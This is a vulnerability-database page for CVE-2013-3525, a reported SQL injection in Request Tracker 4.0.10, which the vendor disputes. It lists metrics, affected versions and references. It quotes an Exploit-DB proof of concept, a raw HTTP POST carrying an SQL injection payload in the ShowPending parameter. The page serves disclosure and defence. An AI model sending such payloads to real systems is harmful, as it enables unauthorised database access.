CVE-2013-3525 : Detail

CVE-2013-3525

SQL Injection
A03-Injection
2.77%V4
Network
2013-05-10
19h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in Approvals/ in Request Tracker (RT) 4.0.10 and earlier allows remote attackers to execute arbitrary SQL commands via the ShowPending parameter. NOTE: the vendor disputes this issue, stating "We were unable to replicate it, and the individual that reported it retracted their report," and "we had verified that the claimed exploit did not function according to the author's claims.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 38459

Publication date : 2013-04-10 22h00 +00:00
Author : cheki
EDB Verified : Yes

source: https://www.securityfocus.com/bid/59022/info Request Tracker is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. RT 4.0.10 is vulnerable; other versions may also be affected. POST /Approvals/ HTTP/1.0 Content-Type: application/x-www-form-urlencoded Cookie: RT_SID_example.com.80=7c120854a0726239b379557f024cc1cb Accept-Language: en-US Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.example.com/Approvals/ Host: 10.10.10.70 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Content-Length: 120 ShowPending=1%27+and+%27f%27%3D%27f%27%29+--+&ShowResolved=1&ShowRejected=1&ShowDependent=1&CreatedBefore=&CreatedAfter=

Products Mentioned

Configuraton 0

Bestpractical>>Request_tracker >> Version To (including) 4.0.9

Bestpractical>>Request_tracker >> Version 3.6.8

Bestpractical>>Request_tracker >> Version 3.6.10

Bestpractical>>Request_tracker >> Version 3.6.11

Bestpractical>>Request_tracker >> Version 3.8.3

Bestpractical>>Request_tracker >> Version 3.8.4

Bestpractical>>Request_tracker >> Version 3.8.7

Bestpractical>>Request_tracker >> Version 3.8.9

Bestpractical>>Request_tracker >> Version 3.8.10

Bestpractical>>Request_tracker >> Version 3.8.11

Bestpractical>>Request_tracker >> Version 3.8.12

Bestpractical>>Request_tracker >> Version 3.8.13

Bestpractical>>Request_tracker >> Version 3.8.14

Bestpractical>>Request_tracker >> Version 3.8.15

Bestpractical>>Request_tracker >> Version 3.8.16

Bestpractical>>Request_tracker >> Version 4.0.0

Bestpractical>>Request_tracker >> Version 4.0.1

Bestpractical>>Request_tracker >> Version 4.0.2

Bestpractical>>Request_tracker >> Version 4.0.3

Bestpractical>>Request_tracker >> Version 4.0.4

Bestpractical>>Request_tracker >> Version 4.0.5

Bestpractical>>Request_tracker >> Version 4.0.6

Bestpractical>>Request_tracker >> Version 4.0.7

Bestpractical>>Request_tracker >> Version 4.0.8

References

http://osvdb.org/92265
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/59022
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.